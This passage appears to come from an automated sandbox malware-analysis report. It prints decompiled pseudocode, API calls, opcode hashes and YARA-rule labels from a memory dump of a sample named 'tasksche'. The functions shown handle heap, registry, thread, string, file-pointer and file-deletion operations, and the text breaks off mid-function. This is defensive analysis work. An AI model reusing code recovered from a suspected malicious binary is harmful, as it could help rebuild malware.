Instruction Fuzzy Hash: 540145B2706204BFE7209B788D458AB36ADCB84334B14423FB192E33C1EA749D00527D

Uniqueness

Uniqueness Score: -1.00%

Function 004155EF Relevance: 1.6, APIs: 1, Instructions: 55
COMMON

Download Yara Rule

C-Code - Quality: 89%

			E004155EF(void* __ebx, intOrPtr __ecx, void* __edi) {
				void* __esi;
				intOrPtr _t26;
				void* _t39;
				intOrPtr _t61;
				void* _t63;

				_t59 = __edi;
				_t42 = __ebx;
				E0041A4DC(0x4298b7, _t63);
				_push(__ecx);
				_t61 = __ecx;
				 *((intOrPtr*)(_t63 - 0x10)) = __ecx;
				 *(_t63 - 4) = 0xa;
				E004152CD(__ecx, 0);
				_t26 =  *((intOrPtr*)(__ecx + 0x4b34));
				_t66 = _t26;
				if(_t26 != 0) {
					_push(_t26); // executed
					E0041A506(__ebx, __edi, __ecx, _t66); // executed
				}
				E004111EB(_t61, _t63,  *((intOrPtr*)(_t61 + 0x14)));
				_push( *((intOrPtr*)(_t61 + 0x20)));
				E0041C89D(_t42, _t59, _t61, _t66); // executed
				_t45 =  *((intOrPtr*)(_t61 + 0x18));
				_t67 =  *((intOrPtr*)(_t61 + 0x18));
				if( *((intOrPtr*)(_t61 + 0x18)) != 0) {
					E00413DED(_t45, _t59, _t63, 3);
				}
				E004129EB(_t61 + 0xe6c4);
				E004129EB(_t61 + 0xe6b4);
				E004129EB(_t61 + 0xe6a4);
				 *(_t63 - 4) = 6;
				E00409756(_t61 + 0xe694);
				 *(_t63 - 4) = 5;
				E0040AB1E(_t61 + 0xe65c, _t67);
				E00411FFB(_t61 + 0xe35c);
				E0041252C(_t61 + 0x4b38);
				E004129EB(_t61 + 0x44);
				E004129EB(_t61 + 0x34);
				E004129EB(_t61 + 0x24);
				 *(_t63 - 4) =  *(_t63 - 4) | 0xffffffff;
				_t39 = E00409756(_t61 + 4);
				 *[fs:0x0] =  *((intOrPtr*)(_t63 - 0xc));
				return _t39;
			}

0x004155ef
0x004155ef
0x004155f4
0x004155f9
0x004155fb
0x004155fd
0x00415602
0x00415609
0x0041560e
0x00415614
0x00415616
0x00415618
0x00415619
0x0041561e
0x00415622
0x00415627
0x0041562a
0x00415630
0x00415633
0x00415635
0x00415639
0x00415639
0x00415644
0x0041564f
0x0041565a
0x00415665
0x00415669
0x00415674
0x00415678
0x00415683
0x0041568e
0x00415696
0x0041569e
0x004156a6
0x004156ab
0x004156b2
0x004156bb
0x004156c3

APIs

__EH_prolog.LIBCMT ref: 004155F4

Part of subcall function 0041A506: __lock.LIBCMT ref: 0041A524
Part of subcall function 0041A506: ___sbh_find_block.LIBCMT ref: 0041A52F
Part of subcall function 0041A506: ___sbh_free_block.LIBCMT ref: 0041A53E
Part of subcall function 0041A506: RtlFreeHeap.NTDLL(00000000,00000000,0042D658,0000000C,0041EF84,00000000,0042D930,0000000C,0041EFBE,00000000,0041A9AB,?,00425448,00000004,0042DB18,0000000C), ref: 0041A56E

Memory Dump Source

Source File: 00000008.00000002.984573634.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.984552695.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Similarity

API ID: FreeH_prologHeap___sbh_find_block___sbh_free_block__lock
String ID:
API String ID: 3165015538-0
Opcode ID: 95b568657bb8fbfad10fdf526c952d8f378074d34127b7e3f63265ca9ed3fb08
Instruction ID: af90cb06349abb904c7e908c808b67ca80216b7905dff4050bf1b7fec03d4104
Opcode Fuzzy Hash: 95b568657bb8fbfad10fdf526c952d8f378074d34127b7e3f63265ca9ed3fb08
Instruction Fuzzy Hash: DA117871210740DAC325FF76DA636DBB7B0AF24304F40091EA06B525D2EFB8BA44CA19

Uniqueness

Uniqueness Score: -1.00%

Function 0040DB16 Relevance: 1.6, APIs: 1, Instructions: 50
registryCOMMON

Download Yara Rule

C-Code - Quality: 22%

			E0040DB16(void* __esi, intOrPtr _a4, intOrPtr _a8) {
				unsigned int _v8;
				void* _v12;
				char _v16;
				char _v4112;
				char _v8208;
				long _t22;
				signed int _t31;
				void* _t38;

				_t22 = E0041AAF0(0x200c);
				if( *0x441878 != 0) {
					E0040DA4F( &_v8208, _a4);
					_t22 = RegOpenKeyExW(0x80000001, 0x42a888, 0, 1,  &_v12); // executed
					if(_t22 == 0) {
						_push( &_v8);
						_push( &_v4112);
						_push( &_v16);
						_push(0);
						_push( &_v8208);
						_push(_v12);
						_v8 = 0x1000;
						if( *0x42a004() == 0) {
							_v8 = _v8 >> 1;
							_t31 = 0x7ff;
							if(_v8 < 0x7ff) {
								_t31 = _v8;
							}
							 *((short*)(_t38 + _t31 * 2 - 0x100c)) = 0;
							E00410B9C(_a4,  &_v4112, _a8);
						}
						return  *0x42a010(_v12);
					}
				}
				return _t22;
			}

0x0040db1e
0x0040db2a
0x0040db3a
0x0040db51
0x0040db5a
0x0040db5f
0x0040db66
0x0040db6a
0x0040db6b
0x0040db73
0x0040db74
0x0040db77
0x0040db86
0x0040db88
0x0040db8b
0x0040db93
0x0040db95
0x0040db95
0x0040db9d
0x0040dbaf
0x0040dbaf
0x00000000
0x0040dbb7
0x0040db5a
0x0040dbbe

APIs

Part of subcall function 0040DA4F: _wcscpy.LIBCMT ref: 0040DA54

RegOpenKeyExW.KERNELBASE(80000001,0042A888,00000000,00000001,?,?), ref: 0040DB51

Memory Dump Source

Source File: 00000008.00000002.984573634.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.984552695.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Similarity

API ID: Open_wcscpy
String ID:
API String ID: 591318240-0
Opcode ID: 5a2b69c89800e9bdd399ce0e9e4a259883a1022fe18fb91a4a4725133ef4c013
Instruction ID: 4c76dbbd45d9bc8f01a1638326186229006e98cd85c276784524804615dea21e
Opcode Fuzzy Hash: 5a2b69c89800e9bdd399ce0e9e4a259883a1022fe18fb91a4a4725133ef4c013
Instruction Fuzzy Hash: 29110635A0020CEBEF219F90DD45FDE7BB8EF04345F5040B6B905A2191D7B8AA94DB69

Uniqueness

Uniqueness Score: -1.00%

Function 00401106 Relevance: 1.5, APIs: 1, Instructions: 49
COMMON

Download Yara Rule

C-Code - Quality: 85%

			E00401106(intOrPtr* __ecx, intOrPtr _a4) {
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				intOrPtr _t12;
				intOrPtr _t13;
				unsigned int _t15;
				intOrPtr _t16;
				unsigned int _t20;
				intOrPtr _t23;
				unsigned int _t26;
				void* _t31;
				intOrPtr _t32;
				intOrPtr* _t34;

				_t12 = _a4;
				_t34 = __ecx;
				 *((intOrPtr*)(__ecx + 4)) =  *((intOrPtr*)(__ecx + 4)) + _t12;
				_t23 =  *((intOrPtr*)(__ecx + 4));
				if(_t23 >  *((intOrPtr*)(__ecx + 8))) {
					_t13 =  *((intOrPtr*)(__ecx + 0xc));
					_push(_t31);
					if(_t13 != 0 && _t23 > _t13) {
						E00406423(_t23, 0x4335ac, 0x42a420, _t13);
						E004063CE(0x4335ac);
					}
					_t15 = ( *(_t34 + 8) >> 2) +  *(_t34 + 8) + 0x20;
					_t26 =  *(_t34 + 4);
					_t20 = _t26;
					_t43 = _t26 - _t15;
					if(_t26 <= _t15) {
						_t20 = _t15;
					}
					_push(_t20);
					_push( *_t34); // executed
					_t16 = E0041A594(_t20, _t31, _t34, _t43); // executed
					_t32 = _t16;
					if(_t32 == 0) {
						_t16 = E004063CE(0x4335ac);
					}
					 *_t34 = _t32;
					 *(_t34 + 8) = _t20;
					return _t16;
				}
				return _t12;
			}

0x00401106
0x0040110b
0x0040110d
0x00401110
0x00401116
0x00401118
0x0040111d
0x00401125
0x00401132
0x0040113c
0x0040113c
0x00401149
0x0040114d
0x00401150
0x00401152
0x00401154
0x00401156
0x00401156
0x00401158
0x00401159
0x0040115b
0x00401160
0x00401166
0x0040116a
0x0040116a
0x0040116f
0x00401173
0x00000000
0x00401176
0x00401178

APIs

_realloc.LIBCMT ref: 0040115B

Part of subcall function 00406423: __vswprintf_c_l.LIBCMT ref: 00406441

Memory Dump Source

Source File: 00000008.00000002.984573634.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.984552695.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Similarity

API ID: __vswprintf_c_l_realloc
String ID:
API String ID: 620378156-0
Opcode ID: dce6db5a0bfaf73c63961f3884acddfac192c2d93569977231d8791de2d42667
Instruction ID: b98885df3920ffeceb53ce79d7a953b92e5ea0a83a6506546a83ec3ee512e677
Opcode Fuzzy Hash: dce6db5a0bfaf73c63961f3884acddfac192c2d93569977231d8791de2d42667
Instruction Fuzzy Hash: 8D014F353006056FD728EA25D89193BB3E9EB88764310483FF99B97791EA39BC548718

Uniqueness

Uniqueness Score: -1.00%

Function 00411254 Relevance: 1.5, APIs: 1, Instructions: 49
threadCOMMON

Download Yara Rule

C-Code - Quality: 41%

			E00411254() {
				void* __ecx;
				void* _t5;
				void* _t7;
				intOrPtr _t8;
				void* _t13;
				void** _t20;
				void* _t23;
				void* _t24;

				_t23 = 0;
				if( *0x4335ac > 0) {
					_t20 = 0x4335b0;
					do {
						_t7 = CreateThread(0, 0x10000, E004111DD, 0x4335ac, 0, _t24 + 0x10); // executed
						_t13 = _t7;
						if(_t13 == 0) {
							_push(0x42ad58);
							_push(0x4335ac);
							E00401000(E00406423(0x4335ac));
							E00406371(0x4335ac, 2);
						}
						 *_t20 = _t13;
						 *0x00433630 =  *((intOrPtr*)(0x433630)) + 1;
						_t8 =  *0x44f58c;
						if(_t8 != 0) {
							_t8 =  *0x42a120( *_t20, _t8);
						}
						_t23 = _t23 + 1;
						_t20 =  &(_t20[1]);
					} while (_t23 <  *0x4335ac);
					return _t8;
				}
				return _t5;
			}

0x00411259
0x0041125d
0x00411261
0x00411264
0x00411278
0x0041127e
0x00411282
0x00411284
0x00411289
0x0041129a
0x004112a6
0x004112a6
0x004112ab
0x004112ad
0x004112b3
0x004112ba
0x004112bf
0x004112bf
0x004112c5
0x004112c6
0x004112c9
0x00000000
0x004112ce
0x004112d2

APIs

CreateThread.KERNELBASE(00000000,00010000,Function_000111DD,?,00000000,?,?,?,?,?,?,004112E4,-00000108,00404FE0), ref: 00411278

Part of subcall function 00406423: __vswprintf_c_l.LIBCMT ref: 00406441

Memory Dump Source

Source File: 00000008.00000002.984573634.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.984552695.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Similarity

API ID: CreateThread__vswprintf_c_l
String ID:
API String ID: 3661160714-0
Opcode ID: 3061c48cbf7df5314d67cb84a6f78a2ab06f9f7c5b99b3b88179035cff10f0ee
Instruction ID: 964536ca15170dd961cb9332306e5bd8003a90b1d1e662a5f33448d65f1dc838
Opcode Fuzzy Hash: 3061c48cbf7df5314d67cb84a6f78a2ab06f9f7c5b99b3b88179035cff10f0ee
Instruction Fuzzy Hash: 4B01A2753453057BD3215F55AC46BB673A9EB44766F20043FFB82E11D0DAB4A8608A2D

Uniqueness

Uniqueness Score: -1.00%

Function 00407150 Relevance: 1.5, APIs: 1, Instructions: 48
COMMON

Download Yara Rule

C-Code - Quality: 88%

			E00407150(intOrPtr __ecx, void* __edx, void* __eflags) {
				void* __ebx;
				void* __edi;
				intOrPtr _t21;
				intOrPtr _t22;
				void* _t24;
				void* _t33;
				intOrPtr _t35;
				intOrPtr _t36;
				void* _t38;
				intOrPtr _t39;
				void* _t41;

				_t44 = __eflags;
				E0041A4DC(0x42968c, _t41);
				_push(__ecx);
				_t39 = __ecx;
				_t25 = __ecx + 0x10;
				 *((intOrPtr*)(_t41 - 0x10)) = __ecx;
				 *((intOrPtr*)(__ecx)) = 0;
				 *((intOrPtr*)(__ecx + 4)) = 0;
				E0040B8E3(__ecx + 0x10, __eflags);
				 *(__ecx + 0x444c) =  *(__ecx + 0x444c) & 0;
				 *((intOrPtr*)(_t41 - 4)) = 0;
				_t35 =  *((intOrPtr*)(_t41 + 8));
				 *((intOrPtr*)(__ecx + 8)) = _t35;
				 *((short*)(__ecx + 0x445c)) = 0;
				 *((short*)(__ecx + 0x545e)) = 0;
				_t21 = E0041A89A(__ecx + 0x10, __edx, _t35, _t44, 0xe6e0, _t33, _t38, _t24);
				 *((intOrPtr*)(_t41 + 8)) = _t21;
				 *((char*)(_t41 - 4)) = 1;
				_t45 = _t21;
				if(_t21 == 0) {
					_t22 = 0;
					__eflags = 0;
				} else {
					_t22 = E0041768A(_t21, __edx, _t35, _t45, _t25); // executed
				}
				 *((intOrPtr*)(_t39 + 0x4448)) = _t22;
				_t36 =  *((intOrPtr*)(_t35 + 0x7298));
				if(_t36 >= 8) {
					_t36 = 8;
				}
				 *((intOrPtr*)(_t22 + 0x1c)) = _t36;
				 *[fs:0x0] =  *((intOrPtr*)(_t41 - 0xc));
				return _t39;
			}

0x00407150
0x00407155
0x0040715a
0x0040715d
0x00407162
0x00407167
0x0040716a
0x0040716c
0x0040716f
0x00407176
0x0040717c
0x0040717f
0x00407187
0x0040718a
0x00407191
0x00407198
0x0040719e
0x004071a1
0x004071a5
0x004071a7
0x004071b3
0x004071b3
0x004071a9
0x004071ac
0x004071ac
0x004071b5
0x004071bb
0x004071c4
0x004071c8
0x004071c8
0x004071cc
0x004071d4
0x004071dc

APIs

__EH_prolog.LIBCMT ref: 00407155

Part of subcall function 0040B8E3: __EH_prolog.LIBCMT ref: 0040B8E8

Part of subcall function 0041A89A: _malloc.LIBCMT ref: 0041A8B4

Part of subcall function 0041768A: __EH_prolog.LIBCMT ref: 0041768F

Memory Dump Source

Source File: 00000008.00000002.984573634.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.984552695.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Similarity

API ID: H_prolog$_malloc
String ID:
API String ID: 4254904621-0
Opcode ID: f4a0015dd81c6367a1e3723969d7ed7b71eec4aecea33b784c0cc5c9c2fc540f
Instruction ID: 4fa22713ff1b1cd4263d7298948381a35fc14f9b7bb01a12f51cc5b8ed2a70ee
Opcode Fuzzy Hash: f4a0015dd81c6367a1e3723969d7ed7b71eec4aecea33b784c0cc5c9c2fc540f
Instruction Fuzzy Hash: B401ADB2A107009AC7109FAAC44029AF7E9FF94310F00842FE459D3390D7B8A9408B59

Uniqueness

Uniqueness Score: -1.00%

Function 0040C3BF Relevance: 1.5, APIs: 1, Instructions: 48
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 68%

			E0040C3BF(int _a4) {
				signed int _t4;
				void* _t8;
				int _t12;
				intOrPtr* _t14;
				WCHAR* _t22;

				_t4 =  *0x4355d8 + 1;
				 *0x4355d8 = _t4;
				if(_t4 >= 8) {
					_t4 = 0;
					 *0x4355d8 = 0;
				}
				_t22 = (_t4 << 0xa) + 0x4335d8;
				 *_t22 = 0;
				_t8 = E0040BB81(0x4335bc);
				_t14 =  *0x42a350;
				if(_t8 != 0) {
					L4:
					 *_t14( *0x4335a4, _a4, _t22, 0x200);
				} else {
					_t12 = LoadStringW( *0x4335a8, _a4, _t22, 0x200); // executed
					if(_t12 == 0) {
						goto L4;
					}
				}
				E0040BF1D(0x4335bc, _t22, _t22, 0x200, 0, 0);
				return _t22;
			}

0x0040c3c4
0x0040c3c5
0x0040c3cd
0x0040c3cf
0x0040c3d1
0x0040c3d1
0x0040c3e1
0x0040c3ed
0x0040c3f0
0x0040c3f5
0x0040c402
0x0040c416
0x0040c422
0x0040c404
0x0040c410
0x0040c414
0x00000000
0x00000000
0x0040c414
0x0040c42d
0x0040c438

APIs

LoadStringW.USER32(?,?,00000200,?,?,?,?,004118D8,00000456,004335AC,0040639B), ref: 0040C410

Memory Dump Source

Source File: 00000008.00000002.984573634.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.984552695.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Similarity

API ID: LoadString
String ID:
API String ID: 2948472770-0
Opcode ID: 72945bf23e6ae9cf9b0fab0a5a9e43b8bd420b2efeca12c7a5d03f8341522d8c
Instruction ID: edfc175873420c56a2918f30daf07abd917a54f8fc7c105ac48efc03a3cacc81
Opcode Fuzzy Hash: 72945bf23e6ae9cf9b0fab0a5a9e43b8bd420b2efeca12c7a5d03f8341522d8c
Instruction Fuzzy Hash: 200186722012107FD6209F19AC85F577BEDEB99351F10543AB900D32A1D6359C01876C

Uniqueness

Uniqueness Score: -1.00%

Function 00408F4B Relevance: 1.5, APIs: 1, Instructions: 46
COMMON

Download Yara Rule

C-Code - Quality: 56%

			E00408F4B(intOrPtr* __ecx, long _a4, long _a8, signed int _a12) {
				long _v8;
				void* __ebp;
				void* _t16;
				long _t20;
				void* _t22;
				void* _t25;
				long _t27;
				intOrPtr* _t30;
				long _t33;

				_t24 = __ecx;
				_push(__ecx);
				_t30 = __ecx;
				if( *((intOrPtr*)(__ecx + 4)) == 0xffffffff) {
					L12:
					_t16 = 1;
				} else {
					_t27 = _a8;
					_t33 = _t27;
					if(_t33 <= 0 && (_t33 < 0 || _a4 < 0) && _a12 != 0) {
						if(_a12 != 1) {
							_t22 = E00408E03(_t24, _t25);
						} else {
							_t22 =  *((intOrPtr*)( *_t30 + 0x10))();
						}
						_a4 = _a4 + _t22;
						asm("adc edi, edx");
						_a12 = _a12 & 0x00000000;
					}
					_v8 = _t27;
					_t20 = SetFilePointer( *(_t30 + 4), _a4,  &_v8, _a12); // executed
					if(_t20 != 0xffffffff ||  *0x42a258() == 0) {
						goto L12;
					} else {
						_t16 = 0;
					}
				}
				return _t16;
			}

0x00408f4b
0x00408f4e
0x00408f50
0x00408f56
0x00408fb8
0x00408fb8
0x00408f58
0x00408f59
0x00408f5c
0x00408f5e
0x00408f72
0x00408f7b
0x00408f74
0x00408f76
0x00408f76
0x00408f80
0x00408f83
0x00408f85
0x00408f85
0x00408f98
0x00408f9e
0x00408fa8
0x00000000
0x00408fb4
0x00408fb4
0x00408fb4
0x00408fa8
0x00408fbc

APIs

SetFilePointer.KERNELBASE(?,?,00000001,00000000,?,?,?,?,00408FD1,00000000,00000000,00000000,?,00407DE2,?,?), ref: 00408F9E

Part of subcall function 00408E03: __EH_prolog.LIBCMT ref: 00408E08

Memory Dump Source

Source File: 00000008.00000002.984573634.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.984552695.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Similarity

API ID: FileH_prologPointer
String ID:
API String ID: 2270156228-0
Opcode ID: fcb39ab4431aa7e293366899b2db99d4a95afe2178fb6d1211a042b2fb6e45d7
Instruction ID: 31f7e80921147255a447777291f97898e209bd40052f61b908ef1a5d0e3b9beb
Opcode Fuzzy Hash: fcb39ab4431aa7e293366899b2db99d4a95afe2178fb6d1211a042b2fb6e45d7
Instruction Fuzzy Hash: 1E019631200306DBCF248F64CD046AE776ABF813A5F14463EF8A1A22D0DB78D951DA55

Uniqueness

Uniqueness Score: -1.00%

Function 00408E03 Relevance: 1.5, APIs: 1, Instructions: 36
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00408E03(intOrPtr* __ecx, void* __edx) {
				void* _t19;
				void* _t23;
				void* _t34;
				void* _t38;

				E0041A4DC(0x429705, _t38);
				E0040117B(_t38 - 0x1c, __edx, __ecx);
				 *(_t38 - 4) =  *(_t38 - 4) & 0x00000000;
				 *((intOrPtr*)( *__ecx + 0xc))();
				_t19 =  *((intOrPtr*)( *__ecx + 0x10))();
				 *(_t38 - 4) =  *(_t38 - 4) | 0xffffffff;
				 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t38 - 0x1c)))) + 0xc))( *((intOrPtr*)(_t38 - 0x14)),  *((intOrPtr*)(_t38 - 0x10)), 0, 0, 0, 2, _t34, _t23);
				 *[fs:0x0] =  *((intOrPtr*)(_t38 - 0xc));
				return _t19;
			}

0x00408e08
0x00408e18
0x00408e1f
0x00408e2b
0x00408e32
0x00408e38
0x00408e4a
0x00408e56
0x00408e5e

APIs

__EH_prolog.LIBCMT ref: 00408E08

Memory Dump Source

Source File: 00000008.00000002.984573634.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.984552695.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 863cc4a6e1e3a3a4d87e432309fddcfd3b8ff728f9b2f9572ac3dc0eeb2e4462
Instruction ID: bd93042bfc1aad2116d0877f42dabf9818625296a81febac24436190ec2c14aa
Opcode Fuzzy Hash: 863cc4a6e1e3a3a4d87e432309fddcfd3b8ff728f9b2f9572ac3dc0eeb2e4462
Instruction Fuzzy Hash: 33F04F35B00214AFD7149F58C889FADB7B5EF48724F208159E912A73D1CB749D008A54

Uniqueness

Uniqueness Score: -1.00%

Function 00408A32 Relevance: 1.5, APIs: 1, Instructions: 32
COMMON

Download Yara Rule

C-Code - Quality: 90%

			E00408A32(void* __ecx) {
				void* _t9;
				int _t12;
				void* _t13;
				void* _t19;

				_t19 = __ecx;
				_t9 =  *(__ecx + 4);
				_t13 = 1;
				if(_t9 != 0xffffffff) {
					if( *((char*)(__ecx + 0x10)) == 0 &&  *((intOrPtr*)(__ecx + 0xc)) == 0) {
						_t12 = FindCloseChangeNotification(_t9); // executed
						asm("sbb bl, bl");
						_t13 =  ~(_t12 - 1) + 1;
					}
					 *(_t19 + 4) =  *(_t19 + 4) | 0xffffffff;
				}
				 *(_t19 + 0xc) =  *(_t19 + 0xc) & 0x00000000;
				if(_t13 == 0 &&  *((intOrPtr*)(_t19 + 0x14)) != _t13) {
					E004063E1(0x4335ac, _t19 + 0x1e);
				}
				return _t13;
			}

0x00408a34
0x00408a36
0x00408a39
0x00408a3e
0x00408a44
0x00408a4d
0x00408a58
0x00408a5a
0x00408a5a
0x00408a5c
0x00408a5c
0x00408a60
0x00408a66
0x00408a76
0x00408a76
0x00408a7f

APIs

FindCloseChangeNotification.KERNELBASE(?,?,00000000,0040868D,?,?,?,?,00407427,?,00000000,?,00000800,?,?,?), ref: 00408A4D

Memory Dump Source

Source File: 00000008.00000002.984573634.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.984552695.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Similarity

API ID: ChangeCloseFindNotification
String ID:
API String ID: 2591292051-0
Opcode ID: b21f32aa194ba9df83e0161a33b0e827325d82f6e4b9bdb228d687f297159138
Instruction ID: ad6283f58ebf58fc73997c28fab75cfea7daa8eae0e70c9973603df5d86841c1
Opcode Fuzzy Hash: b21f32aa194ba9df83e0161a33b0e827325d82f6e4b9bdb228d687f297159138
Instruction Fuzzy Hash: 55F027706427044FD73056384A4879333D85B16331F049B2FD8E2A3BC0CB7898894E64

Uniqueness

Uniqueness Score: -1.00%

Function 0040D5F7 Relevance: 1.5, APIs: 1, Instructions: 32
COMMON

Download Yara Rule

C-Code - Quality: 53%

			E0040D5F7(void* __eflags, intOrPtr _a4) {
				char _v2052;
				WCHAR* _t6;
				int _t9;
				WCHAR* _t10;

				 *((intOrPtr*)( *0x42a0a8))(0x42a878, _a4);
				_t6 = E00410C58(__eflags, _a4,  &_v2052, 0x400);
				_t10 = _t6;
				if(_t10 != 0) {
					while(E00410B7F( *_t10 & 0x0000ffff) != 0) {
						_t10 =  &(_t10[1]);
						__eflags = _t10;
					}
					_t9 = SetEnvironmentVariableW(0x42a868, _t10); // executed
					return _t9;
				}
				return _t6;
			}

0x0040d610
0x0040d621
0x0040d626
0x0040d62a
0x0040d630
0x0040d62f
0x0040d62f
0x0040d62f
0x0040d643
0x00000000
0x0040d643
0x0040d648

APIs

SetEnvironmentVariableW.KERNELBASE(0042A868,00000002,00000000,00000000,?,?,00000400), ref: 0040D643

Memory Dump Source

Source File: 00000008.00000002.984573634.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.984552695.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Similarity

API ID: EnvironmentVariable
String ID:
API String ID: 1431749950-0
Opcode ID: bac05ca2e549dd4e556f3ae34e89e1e7b45a97b9d2e2d38533528fd9b5159ab4
Instruction ID: 209d7830a902f923c059ddcb8ccd8c76eadbb62e41e0a08ffeb6939b57d6bf06
Opcode Fuzzy Hash: bac05ca2e549dd4e556f3ae34e89e1e7b45a97b9d2e2d38533528fd9b5159ab4
Instruction Fuzzy Hash: 29E0EC3660011437CA102A969C01EBB7A6CDBC1744F1000337E48A2080E979D89E8BED

Uniqueness

Uniqueness Score: -1.00%

Function 00405512 Relevance: 1.5, APIs: 1, Instructions: 31
COMMON

Download Yara Rule

C-Code - Quality: 93%

			E00405512(void* __ebx, intOrPtr __ecx, void* __edi, void* __eflags) {
				void* _t38;

				E0041A4DC(0x4295e1, _t38);
				_push(__ecx);
				 *((intOrPtr*)(_t38 - 0x10)) = __ecx;
				E0040A026(__ecx, __edi); // executed
				 *(_t38 - 4) =  *(_t38 - 4) & 0x00000000;
				E00410D8E(__ecx + 0x92d4);
				 *(_t38 - 4) = 1;
				E00410D8E(__ecx + 0x9330);
				 *(_t38 - 4) = 2;
				E00410D8E(__ecx + 0x938c);
				 *(_t38 - 4) = 3;
				E00410D8E(__ecx + 0x93e8);
				 *(_t38 - 4) = 4;
				E00410D8E(__ecx + 0x9444);
				 *(_t38 - 4) = 5;
				E00405394(__ebx, __ecx, __edi,  *(_t38 - 4));
				 *[fs:0x0] =  *((intOrPtr*)(_t38 - 0xc));
				return __ecx;
			}

0x00405517
0x0040551c
0x00405520
0x00405523
0x00405528
0x00405532
0x0040553d
0x00405541
0x0040554c
0x00405550
0x0040555b
0x0040555f
0x0040556a
0x0040556e
0x00405575
0x00405579
0x00405584
0x0040558c

APIs

__EH_prolog.LIBCMT ref: 00405517

Part of subcall function 0040A026: __EH_prolog.LIBCMT ref: 0040A02B

Memory Dump Source

Source File: 00000008.00000002.984573634.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.984552695.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 8d7273e43c00e3d352773117abe9a80c711290f191c18f656fba03e9df2d1900
Instruction ID: fa77f21fc7194b1e08a14eb3a2c561e3cb85337c9bb77c22dcaa42305da5d14c
Opcode Fuzzy Hash: 8d7273e43c00e3d352773117abe9a80c711290f191c18f656fba03e9df2d1900
Instruction Fuzzy Hash: A2013130901694DAD715EBA5D1157DDB7B49F14308F00449FE456532C3DFF82B84CB66

Uniqueness

Uniqueness Score: -1.00%

Function 0041A060 Relevance: 1.5, APIs: 1, Instructions: 30libraryCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNELBASE(0042B12C,00000000,00439820,?,?,?,00410051), ref: 0041A07B

Memory Dump Source

Source File: 00000008.00000002.984573634.0000000000401000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00400000, based on PE: true

Associated: 00000008.00000002.984552695.0000000000400000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_400000_tasksche.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 8624e4f240296107261ce0a47b5d27c571c626025523bcd3f0aeccd25934cca6
Instruction ID: d62a9b991739124620cbbd73e07a01740528edc951963754c9102d88a2026b42
Opcode Fuzzy Hash: 8624e4f240296107261ce0a47b5d27c571c626025523bcd3f0aeccd25934cca6
Instruction Fuzzy Hash: EFF08271B00318AFD7209FA5DC0EB9ABBE8EF40766F50442DE54593250DBB8A4458BA9

Uniqueness

Uniqueness Score: -1.00%

Function 004090E4 Relevance: 1.5, APIs: 1, Instructions: 30
fileCOMMON

Download Yara Rule

C-Code - Quality: 68%

			E004090E4(WCHAR* _a4) {
				char _v4100;
				int _t11;
				signed int _t17;
				signed int _t18;
				intOrPtr* _t19;

				E0041AAF0(0x1000);
				_t19 =  *0x42a244; // executed
				_t11 = DeleteFileW(_a4); // executed
				_t18 = _t17 & 0xffffff00 | _t11 != 0x00000000;
				if(_t18 == 0 && E0040A3DC(_a4,  &_v4100, 0x800) != 0) {
